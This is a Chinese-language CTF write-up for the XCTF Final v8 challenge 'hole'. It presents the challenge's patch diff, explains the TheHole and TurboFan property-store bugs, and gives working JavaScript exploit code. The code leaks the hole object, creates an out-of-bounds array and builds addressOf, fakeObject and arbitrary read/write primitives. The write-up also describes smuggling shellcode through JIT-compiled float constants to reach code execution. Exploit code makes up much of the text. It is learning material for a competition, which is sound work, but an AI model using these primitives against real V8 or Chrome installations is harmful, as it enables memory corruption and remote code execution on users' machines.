XCTF-Final-hole-wp

Posted on Mar 31, 2023

这次的 XCTF Final 总长 12 小时,有三道 pwn 题,一道为 Haskell 写成的 lisp 解释器,一道与 Intel sgx 有关。不过我都没怎么看,而是一直在看 hole 这道 v8 题。v8 一直在高速发展,由于我许久没有接触过了,所以不了解新的利用套路——即在构造了 addressOf 和 fakeObject 这两个原语后怎么实现 RCE。最后很遗憾,虽然我实现了上述的两个原语,但是最后并没有做出这题。以下是正文,简述了如何实现 hole 对象的 leak 并且完成对上述原语的构造。之后的利用我从解出的大佬那里求来了 exp,等我学会就找时间更新更新:现在我会了,在文章里面简述了一下。

1 漏洞分析

先来看一下附带的 diff

diff --git a/src/builtins/builtins-collections-gen.cc b/src/builtins/builtins-collections-gen.cc
index f6238e3072..17821d3124 100644
--- a/src/builtins/builtins-collections-gen.cc
+++ b/src/builtins/builtins-collections-gen.cc
@@ -1765,7 +1765,7 @@ TF_BUILTIN(MapPrototypeDelete, CollectionsBuiltinsAssembler) {
                          "Map.prototype.delete");

   // This check breaks a known exploitation technique. See crbug.com/1263462
-  CSA_CHECK(this, TaggedNotEqual(key, TheHoleConstant()));
+  // CSA_CHECK(this, TaggedNotEqual(key, TheHoleConstant()));

   const TNode<OrderedHashMap> table =
       LoadObjectField<OrderedHashMap>(CAST(receiver), JSMap::kTableOffset);
diff --git a/src/compiler/js-native-context-specialization.cc b/src/compiler/js-native-context-specialization.cc
index 39302152ed..3193065d7d 100644
--- a/src/compiler/js-native-context-specialization.cc
+++ b/src/compiler/js-native-context-specialization.cc
@@ -29,13 +29,12 @@
 #include "src/objects/feedback-vector.h"
 #include "src/objects/heap-number.h"
 #include "src/objects/string.h"
-
+int times=1;
 namespace v8 {
 namespace internal {
 namespace compiler {

 namespace {
-
 bool HasNumberMaps(JSHeapBroker* broker, ZoneVector<MapRef> const& maps) {
   for (MapRef map : maps) {
     if (map.IsHeapNumberMap()) return true;
@@ -2812,7 +2811,7 @@ JSNativeContextSpecialization::BuildPropertyStore(
       // with this transitioning store.
       MapRef transition_map_ref = transition_map.value();
       MapRef original_map = transition_map_ref.GetBackPointer().AsMap();
-      if (original_map.UnusedPropertyFields() == 0) {
+      if (original_map.UnusedPropertyFields() == 0 && times--==0) {
         DCHECK(!field_index.is_inobject());

         // Reallocate the properties {storage}.
diff --git a/src/d8/d8-posix.cc b/src/d8/d8-posix.cc
index c2571ef3a0..99f0e76234 100644
--- a/src/d8/d8-posix.cc
+++ b/src/d8/d8-posix.cc
@@ -734,20 +734,20 @@ char* Shell::ReadCharsFromTcpPort(const char* name, int* size_out) {
 }

 void Shell::AddOSMethods(Isolate* isolate, Local<ObjectTemplate> os_templ) {
-  if (options.enable_os_system) {
-    os_templ->Set(isolate, "system", FunctionTemplate::New(isolate, System));
-  }
-  os_templ->Set(isolate, "chdir",
-                FunctionTemplate::New(isolate, ChangeDirectory));
-  os_templ->Set(isolate, "setenv",
-                FunctionTemplate::New(isolate, SetEnvironment));
-  os_templ->Set(isolate, "unsetenv",
-                FunctionTemplate::New(isolate, UnsetEnvironment));
-  os_templ->Set(isolate, "umask", FunctionTemplate::New(isolate, SetUMask));
-  os_templ->Set(isolate, "mkdirp",
-                FunctionTemplate::New(isolate, MakeDirectory));
-  os_templ->Set(isolate, "rmdir",
-                FunctionTemplate::New(isolate, RemoveDirectory));
+//   if (options.enable_os_system) {
+//     os_templ->Set(isolate, "system", FunctionTemplate::New(isolate, System));
+//   }
+//   os_templ->Set(isolate, "chdir",
+//                 FunctionTemplate::New(isolate, ChangeDirectory));
+//   os_templ->Set(isolate, "setenv",
+//                 FunctionTemplate::New(isolate, SetEnvironment));
+//   os_templ->Set(isolate, "unsetenv",
+//                 FunctionTemplate::New(isolate, UnsetEnvironment));
+//   os_templ->Set(isolate, "umask", FunctionTemplate::New(isolate, SetUMask));
+//   os_templ->Set(isolate, "mkdirp",
+//                 FunctionTemplate::New(isolate, MakeDirectory));
+//   os_templ->Set(isolate, "rmdir",
+//                 FunctionTemplate::New(isolate, RemoveDirectory));
 }

 }  // namespace v8
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index 3816d1ac99..695e770465 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -3163,56 +3163,56 @@ static void AccessIndexedEnumerator(const PropertyCallbackInfo<Array>& info) {}

 Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
-  global_template->Set(Symbol::GetToStringTag(isolate),
-                       String::NewFromUtf8Literal(isolate, "global"));
-  global_template->Set(isolate, "version",
-                       FunctionTemplate::New(isolate, Version));
+  // global_template->Set(Symbol::GetToStringTag(isolate),
+  //                      String::NewFromUtf8Literal(isolate, "global"));
+  // global_template->Set(isolate, "version",
+  //                      FunctionTemplate::New(isolate, Version));

   global_template->Set(isolate, "print", FunctionTemplate::New(isolate, Print));
-  global_template->Set(isolate, "printErr",
-                       FunctionTemplate::New(isolate, PrintErr));
-  global_template->Set(isolate, "write",
-                       FunctionTemplate::New(isolate, WriteStdout));
-  global_template->Set(isolate, "read",
-                       FunctionTemplate::New(isolate, ReadFile));
-  global_template->Set(isolate, "readbuffer",
-                       FunctionTemplate::New(isolate, ReadBuffer));
-  global_template->Set(isolate, "readline",
-                       FunctionTemplate::New(isolate, ReadLine));
-  global_template->Set(isolate, "load",
-                       FunctionTemplate::New(isolate, ExecuteFile));
-  global_template->Set(isolate, "setTimeout",
-                       FunctionTemplate::New(isolate, SetTimeout));
-  // Some Emscripten-generated code tries to call 'quit', which in turn would
-  // call C's exit(). This would lead to memory leaks, because there is no way
-  // we can terminate cleanly then, so we need a way to hide 'quit'.
-  if (!options.omit_quit) {
-    global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
-  }
-  global_template->Set(isolate, "testRunner",
-                       Shell::CreateTestRunnerTemplate(isolate));
-  global_template->Set(isolate, "Realm", Shell::CreateRealmTemplate(isolate));
-  global_template->Set(isolate, "performance",
-                       Shell::CreatePerformanceTemplate(isolate));
-  global_template->Set(isolate, "Worker", Shell::CreateWorkerTemplate(isolate));
-
-  // Prevent fuzzers from creating side effects.
-  if (!i::FLAG_fuzzing) {
-    global_template->Set(isolate, "os", Shell::CreateOSTemplate(isolate));
-  }
-  global_template->Set(isolate, "d8", Shell::CreateD8Template(isolate));
-
-#ifdef V8_FUZZILLI
-  global_template->Set(
-      String::NewFromUtf8(isolate, "fuzzilli", NewStringType::kNormal)
-          .ToLocalChecked(),
-      FunctionTemplate::New(isolate, Fuzzilli), PropertyAttribute::DontEnum);
-#endif  // V8_FUZZILLI
-
-  if (i::FLAG_expose_async_hooks) {
-    global_template->Set(isolate, "async_hooks",
-                         Shell::CreateAsyncHookTemplate(isolate));
-  }
+  // global_template->Set(isolate, "printErr",
+  //                      FunctionTemplate::New(isolate, PrintErr));
+  // global_template->Set(isolate, "write",
+  //                      FunctionTemplate::New(isolate, WriteStdout));
+  // global_template->Set(isolate, "read",
+  //                      FunctionTemplate::New(isolate, ReadFile));
+  // global_template->Set(isolate, "readbuffer",
+  //                      FunctionTemplate::New(isolate, ReadBuffer));
+  // global_template->Set(isolate, "readline",
+  //                      FunctionTemplate::New(isolate, ReadLine));
+  // global_template->Set(isolate, "load",
+  //                      FunctionTemplate::New(isolate, ExecuteFile));
+//   global_template->Set(isolate, "setTimeout",
+//                        FunctionTemplate::New(isolate, SetTimeout));
+//   // Some Emscripten-generated code tries to call 'quit', which in turn would
+//   // call C's exit(). This would lead to memory leaks, because there is no way
+//   // we can terminate cleanly then, so we need a way to hide 'quit'.
+//   if (!options.omit_quit) {
+//     global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
+//   }
+//   global_template->Set(isolate, "testRunner",
+//                        Shell::CreateTestRunnerTemplate(isolate));
+//   global_template->Set(isolate, "Realm", Shell::CreateRealmTemplate(isolate));
+//   global_template->Set(isolate, "performance",
+//                        Shell::CreatePerformanceTemplate(isolate));
+//   global_template->Set(isolate, "Worker", Shell::CreateWorkerTemplate(isolate));
+
+//   // Prevent fuzzers from creating side effects.
+//   if (!i::FLAG_fuzzing) {
+//     global_template->Set(isolate, "os", Shell::CreateOSTemplate(isolate));
+//   }
+//   global_template->Set(isolate, "d8", Shell::CreateD8Template(isolate));
+
+// #ifdef V8_FUZZILLI
+//   global_template->Set(
+//       String::NewFromUtf8(isolate, "fuzzilli", NewStringType::kNormal)
+//           .ToLocalChecked(),
+//       FunctionTemplate::New(isolate, Fuzzilli), PropertyAttribute::DontEnum);
+// #endif  // V8_FUZZILLI
+
+//   if (i::FLAG_expose_async_hooks) {
+//     global_template->Set(isolate, "async_hooks",
+//                          Shell::CreateAsyncHookTemplate(isolate));
+//   }

   if (options.throw_on_failed_access_check ||
       options.noop_on_failed_access_check) {

这里开头注释了 CSA_CHECK(this, TaggedNotEqual(key, TheHoleConstant())); 这个检查。通过注释可以看到这个网址:https://crbug.com/1263462 ,大概可以知道这个是为了防止一个针对 hole 的利用,这是一个 v8 中的内部对象,用于表示此位置没有元素(stackoverflow)。我们使用这个原语就可以获得一个 size == -1 的 Map

// ./d8 --allow-natives-syntax ./poc.js
let theHole = %TheHole()
m = new Map();
m.set(1, 1);
m.set(theHole, 1);
m.delete(theHole);
m.delete(theHole);
m.delete(1);
// %DebugPrint(m);
print(m.size);

虽然从设计上来说,hole 是永远不会泄漏到“用户态”的 js 代码中的,但是许多漏洞都可以最后伪造出 hole 对象来实现稳定的 oob ,所以在这个 commit 中,添加了更多校验。让这个利用的 trick 失效了。不过在这道题里面,patch 掉了这个校验,所以大概可以知道预期解就是想办法 leak 出一个 hole 对象,然后实现 oob 。

然后看下一个 patch

@@ -2812,7 +2811,7 @@ JSNativeContextSpecialization::BuildPropertyStore(
       // with this transitioning store.
       MapRef transition_map_ref = transition_map.value();
       MapRef original_map = transition_map_ref.GetBackPointer().AsMap();
-      if (original_map.UnusedPropertyFields() == 0) {
+      if (original_map.UnusedPropertyFields() == 0 && times--==0) {
         DCHECK(!field_index.is_inobject());

这是在 ReducePropertyAccess 中的,处理属性存储时的一个 case ,当 original_map 的 UnusedPropertyFields() == 0 时,patch 前的正确行为为:更换 Map 的 property 存储对象,这样之后才可以正确地向 property 中添加属性

if (original_map.UnusedPropertyFields() == 0) {
  DCHECK(!field_index.is_inobject());

  // Reallocate the properties {storage}.
  storage = effect = BuildExtendPropertiesBackingStore(
                                                       original_map, storage, effect, control);

  // Perform the actual store.
  effect = graph()->NewNode(simplified()->StoreField(field_access),
                            storage, value, effect, control);

  // Atomically switch to the new properties below.
  field_access = AccessBuilder::ForJSObjectPropertiesOrHashKnownPointer();
  value = storage;
  storage = receiver;
 }

观察 if 中添加的 node ,可以看出确实更换了 storage node 。那么之后添加的节点就可以认为一定可以安全地向 storage node 中写入了

{
  // ..
  value = storage;
  storage = receiver;
}
effect = graph()->NewNode(
                          common()->BeginRegion(RegionObservability::kObservable), effect);
effect = graph()->NewNode(
                          simplified()->StoreField(AccessBuilder::ForMap()), receiver,
                          jsgraph()->Constant(transition_map_ref), effect, control);
effect = graph()->NewNode(simplified()->StoreField(field_access), storage,
                          value, effect, control);
effect = graph()->NewNode(common()->FinishRegion(),
                          jsgraph()->UndefinedConstant(), effect);

可以看到,不会有 checkbounds 之类节点的添加,会直接写入值。

然而在 patch 过后,第一次执行该优化时就会跳过之前替换 storage node 的 nodes 添加。这可以导致 oob ,最后实现任意地址读写(我就是拿这个任意地址读写伪造了一个 hole 对象)。

我们来观察一下他的效果

let m = {a: 0x100};
%DebugPrint(m);
m.b = 0x200;
%DebugPrint(m);

可见一个全新创建的 map ,会把初始化的元素 in-object 储存,其 unused property fields 即为 0 ,其 properties 也执行了一个 FixedArray[0] ,即空数组。

然后在给 map 新增一个属性后,原来的 FixedArray[0] 就被替换成了 PropertyArray[3] ,相应的,unused property fields 也变成了 2 (3 - 1)。这是在解释器中的行为,我们可以想象正确的 turbofan 优化后也应该有一样的效果,但是在 patch 后生成的代码将不会替换 properties 指向的目标,在添加属性时,就会直接向 FixedArray[0] 中继续写入了。我们来看下面这个例子

function PropertyStore() {
  let m = {a: 0x100};
  %DebugPrint(m);
  m.b = 0x200;
  %DebugPrint(m);
}

%PrepareFunctionForOptimization(PropertyStore);
PropertyStore();
%OptimizeFunctionOnNextCall(PropertyStore);
PropertyStore();
...
Received signal 11 SEGV_ACCERR 368800002258

==== C stack trace ===============================

 [0x55bdcee5bc83]
 [0x55bdcee5bbd1]
 [0x7f7a684d3520]
 [0x55bd400040f0]
[end of stack trace]
fish: Job 1, './d8 --allow-natives-syntax ./d…' terminated by signal SIGSEGV (Address boundary error)

执行后直接发生了 crash ,这是因为在优化后, m.b = 0x200 这个语句会直接向 FixedArray[0] 中写入,但是这个对象是一个特殊对象,专门用于表示空数组,处在只读内存段,写入便会导致段错误。

2 漏洞利用

如果想要实现利用,我们要想个办法构造可以写入的 properties 从而实现 oob。从上面的 %DebugPrint 我们可以发现, UnusedPropertyFields() == 0 时, FixedArray[0] 会被替换为 PropertyArray[3] ,可以存储三个属性,并且他是一个动态分配、处于可读写堆端的对象,我们可以先构造一个 properties 为 PropertyArray[3] 的 map ,并且把该数组填满,使 unused property fields 为 0 ,然后触发优化,此时再添加 property ,就可以实现 oob 了。

function TestSetProperty(obj, s) {
  obj.d1 = i2f(0xDEADBEEF73311337n);
  obj.d2 = i2f(0x99996666AAAABBBBn);
  obj.d3 = i2f(0x99996666AAAABBBBn);
  %DebugPrint(obj);

  return obj;
}

var oober = {};
const N = 10000;
for (let i = 0; i < N; i++) {
  let map = {a1: 0x100, b: 0x200};
  map.a2 = i2f(0xAAAABBBBCCCCDDDDn);
  map.a3 = i2f(0xEEEEFFFF11112222n);
  map.a4 = i2f(0x3333444455556666n);
  // %DebugPrint(map);
  console.log(map.a4);
  if (i == N - 1) {
    oober = TestSetProperty(map, i);
  } else {
    TestSetProperty(map);
  }
}

这个 poc 可能会 crash ,但是没关系,写 exp 的时候调整一下就不会了。同时还要注意,poc 里面的 console.log(map.a4) 这句话不能删掉,不然就不会发生优化了(至少我调的时候是这样的)

可以看到,map 中的元素的确发出了溢出,并且 corrupt 了 a3 这个属性, %DebugPrint 甚至他解析成了一个 JSObject 。

那么这里发生了什么呢?其实就是优化之后,直接向 PropertyArray[3] 中越界写入,导致了 oob ,而其中 d2 这个属性复写了 a3 属性的值,所以我们只要读出 a3 就可以实现堆地址的 leak ,而改写 a3 的值,就可以完全控制 d2 指向的目标,然后再读写 d2 的值,就可以实现任意地址读写了。这里具体的调试过程我就不再赘述了(调了一天,眼都花了),总之我们修改一个 map 的属性指向 theHole ,就可以实现 hole 的 leak 了。(看起来 theHole 在固定偏移中,所以我们只要写 0x2451 这样一根压缩指针就可以了)。获得 hole 之后就可以搞出一个 size 为 -1 的 map 了。

3 poc

以下为实现 addressOf 和 fakeObject 原语的 poc

var buffer = new ArrayBuffer(8);
var float64_arr = new Float64Array(buffer);
var uint64_arr = new BigUint64Array(buffer);
var udf_addr = 0n;
var i2f = (uint64) => {
  uint64_arr[0] = uint64;
  return float64_arr[0];
}
var f2i = (float64) => {
  float64_arr[0] = float64;
  return uint64_arr[0];

}

function TestSetProperty(obj, s) {
  obj.d1 = i2f(0xDEADBEEF73311337n);
  obj.d2 = i2f(0x99996666AAAABBBBn);
  obj.d3 = i2f(0x99996666AAAABBBBn);

  return obj;
}

var oober = {};
const N = 10000;
for (let i = 0; i < N; i++) {
  let map = {a1: 0x100, b: 0x200};
  map.a2 = i2f(0xAAAABBBBCCCCDDDDn);
  map.a3 = i2f(0xEEEEFFFF11112222n);
  map.a4 = i2f(0x3333444455556666n);
  // %DebugPrint(map);
  console.log(map.a4);
  if (i == N - 1) {
    oober = TestSetProperty(map, i);
  } else {
    TestSetProperty(map);
  }
}
// %DebugPrint(oober);
console.log(f2i(oober.a3).toString(16));
// %SystemBreak();

let map = {a1: 0x100};
map.a2 = i2f(0xbeefbeefbeefbeefn);
map.a3 = i2f(0xbeefbeefbeefbeefn);
map.a4 = i2f(0xbeefbeefbeefbeefn);
// %DebugPrint(map);
heap_addr = f2i(oober.a3);
heap_addr = heap_addr & 0xFFFFFFFFn;
console.log("head_addr: 0x" + heap_addr.toString(16));
// let hole_addr = 0x2451n;
var holeMap = {a: 0x100};
holeMap.udf1 = undefined;
holeMap.udf2 = undefined;
holeMap.udf3 = undefined;
// %DebugPrint(oober);
// udf_addr = head_addr + 0x280n;
const offset_to_map = 0x274n + 8n
oober.a3 = i2f((heap_addr + offset_to_map) | ((heap_addr + offset_to_map) << 32n));
oober.d2 = i2f(0x0000245100002451n);
// %DebugPrint(holeMap);
let theHole = holeMap.udf2;
// %DebugPrint(holeMap);
// %DebugPrint(theHole);

function FinalExploit(hole) {
  function GetOobArr(hole) {
    let m = new Map();
    m.set(1, 1);
    m.set(hole, 1);
    m.delete(hole);
    m.delete(hole);
    m.delete(1);
    console.log(m.size);
    let oob_arr = new Array(1.1, 1.1);

    m.set(0x10, -1);
    m.set(oob_arr, 0xffff);
    console.log("oob_arr length:", oob_arr.length);
    return oob_arr;
  }
  let oob_arr = GetOobArr(hole);
  oob_arr[3] = i2f(0xDEADBEEFn);
  oob_arr[4] = i2f(0xDEADBEEEn);
  let float_arr = [1.1, 1.2, 1.3, 1.4];
  let float_arr2 = [2.1, 2.2, 2.3, 2.4];
  let int_arr = [1, 2, 3, 4];
  let object_arr = [{}, {}, {}, {}];
  let leak_object_arr = [2.1, 2.2, 2.3, 2.4];
  console.log("++++++++++++++++++++++++++++++++++++++");
  // %DebugPrint(float_arr);
  console.log("++++++++++++++++++++++++++++++++++++++");
  // %DebugPrint(object_arr);
  console.log("++++++++++++++++++++++++++++++++++++++");
  // %DebugPrint(leak_object_arr);
  oob_arr[13] = i2f((f2i(oob_arr[13]) & 0xFFFFFFFFn) | 0x0000200000000000n);
  oob_arr[41] = i2f((f2i(oob_arr[41]) & 0xFFFFFFFFn) | 0x0000200000000000n);

  console.log(float_arr.length)
  console.log(object_arr.length);

  let float_map = f2i(float_arr[11]) & 0xffffffffn;
  console.log("PACKED_DOUBLE_ELEMENTS map: 0x" + float_map.toString(16));

  let object_map = f2i(float_arr[32]) & 0xffffffffn;
  console.log("PACKED_DOUBLE_ELEMENTS map: 0x" + object_map.toString(16));

  let addressOf = (obj) => {
    object_arr[38] = obj;

    return f2i(leak_object_arr[0]);
  }

  let fakeObject = (addr) => {
    float_arr[0x10] = i2f(addr);
    return object_arr[0];
  }

  let rw_tool = [
    // map
    i2f(float_map),
    i2f(0x00000008BEEFDEADn),
    1.1,
    1.2
  ];

  let rw_tool_addr = addressOf(rw_tool) & 0xFFFFFFFFn;
  // %DebugPrint(rw_tool);
  console.log("rw_tool addr: 0x" + rw_tool_addr.toString(16))
  let arbitary_rw_tool = fakeObject(rw_tool_addr - 0x20n);

  let read64 = (address) => {
    rw_tool[1] = i2f((address | 0x0000000200000000n) - 0x8n + 1n);
    // %DebugPrint(arbitary_rw_tool);
    return f2i(arbitary_rw_tool[0]);
  }

  let write64 = (address, val) => {
    rw_tool[1] = i2f((address | 0x0000000200000000n) - 0x8n + 1n);
    arbitary_rw_tool[0] = i2f(val);
  }

  // Calculate the address of FLAG_wasm_memory_protection_keys
  // ref: https://securitylab.github.com/research/in_the_wild_chrome_cve_2021_37975/
  // console.log("wrapper_type_info: 0x" + wrapper_type_info);

  // %DebugPrint(arbitary_rw_tool);
  var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
  var wasmModule = new WebAssembly.Module(wasmCode);
  var wasmInstance = new WebAssembly.Instance(wasmModule, {});
  var f = wasmInstance.exports.main;


  // %DebugPrint(wasmInstance);
  addr_f = addressOf(f) & 0xFFFFFFFFn;
  console.log(f());
  var instance_addr = addressOf(wasmInstance) & 0xFFFFFFFFn;
  console.log("[+] instance_addr: 0x" + instance_addr.toString(16));

  // w^x protect on, nomore rwx
  // var rwx_addr = read64(instance_addr - 1n + ???n);
  // console.log("[+] rwx_addr: 0x" + rwx_addr.toString(16));
  while (1);
}

FinalExploit(theHole);

由于现在高版本已经启用了 W^X 保护—— wasm function 中不再有 rwx 的内存段,不能直接执行 shellcode getshell。不过这个可以通过这篇文章尾部提到的覆写 write_protect_code_memory_ 来绕过。这就出现了另一个问题,该字段所处的对象在 ptmalloc 堆上,由于此版本 v8 也开启了指针压缩,我们无法实现对该堆的任意读写,这就需要这篇文章中提到的方法来绕过了。遗憾的是,由于比赛时间不够,我并没有根据两篇文章中的方法实现利用。而且据说,这种方式在高版本中也失效了。

4 rce

还是接触的少了,对 v8 的利用只停留在了可以对 wasm 一把梭的年代。希望可以蹲一个大佬的 exp 学习 从 @nightu 师傅那里求来了 exp ,发现他的做法是

  1. 直接向 jit 函数中写入 shellcode 片段
  2. 修改 <Funtion> 的 CodeDataContainer 中的 code_entry_point ,把该变量指向我们的 shellcode 片段
  3. 执行该函数

这里我只是没有想到原来现在的 v8 还可以做到直接向 jit 函数中布置 shellcode 片段,但是调试了一下确实是可以做到的

const foo = ()=>
{
        return [
        1.0,
                1.95538254221075331056310651818E-246,
                1.95606125582421466942709801013E-246,
                1.99957147195425773436923756715E-246,
                1.95337673326740932133292175341E-246,
                2.63486047652296056448306022844E-284];
}
for (let i = 0; i < 0x10000; i++) {
        foo();foo();foo();foo();
}

如上代码在 jit 后,会生成下面的代码片段

可见对于浮点数组,turbofan 在优化后会把代码生成为 movabs <reg>, <imm> 样式,我们只要把 code_entry_point 指向这些片段,就可以执行 shellcode 了。

没有想到这个方法的原因很简单,我以为这个早就被 mitigate 了,因为在很久以前就看到 v8 有针对 jit spraying 的保护,但是没想到对于浮点数组似乎没有效果的样子

另外,交流后获得了一些文章链接,这里整理一下

另外比赛完后,顺便去夫子庙旁边逛了逛,路过一条河,看别人都在拍照自己也凑凑热闹拍了一张

某条河边

感觉南京这里确实还挺漂亮的,至少灯光颜色挺统一的。可惜没把女朋友带来。